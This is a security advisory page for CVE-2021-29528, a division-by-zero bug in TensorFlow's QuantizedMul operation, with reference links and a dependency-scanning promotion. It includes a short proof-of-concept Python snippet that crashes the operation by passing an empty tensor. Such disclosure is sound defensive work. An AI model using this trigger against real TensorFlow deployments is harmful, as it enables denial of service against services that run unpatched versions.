CVE-2021-29528: Division by 0 in `QuantizedMul`
(updated )
An attacker can trigger a division by 0 in tf.raw_ops.QuantizedMul:
import tensorflow as tf
x = tf.zeros([4, 1], dtype=tf.quint8)
y = tf.constant([], dtype=tf.quint8)
min_x = tf.constant(0.0)
max_x = tf.constant(0.0010000000474974513)
min_y = tf.constant(0.0)
max_y = tf.constant(0.0010000000474974513)
tf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)
References
- github.com/advisories/GHSA-6f84-42vf-ppwp
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-456.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-654.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-165.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/a1b11d2fdd1e51bfe18bb1ede804f60abfa92da6
- github.com/tensorflow/tensorflow/security/advisories/GHSA-6f84-42vf-ppwp
- nvd.nist.gov/vuln/detail/CVE-2021-29528
Detect and mitigate CVE-2021-29528 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →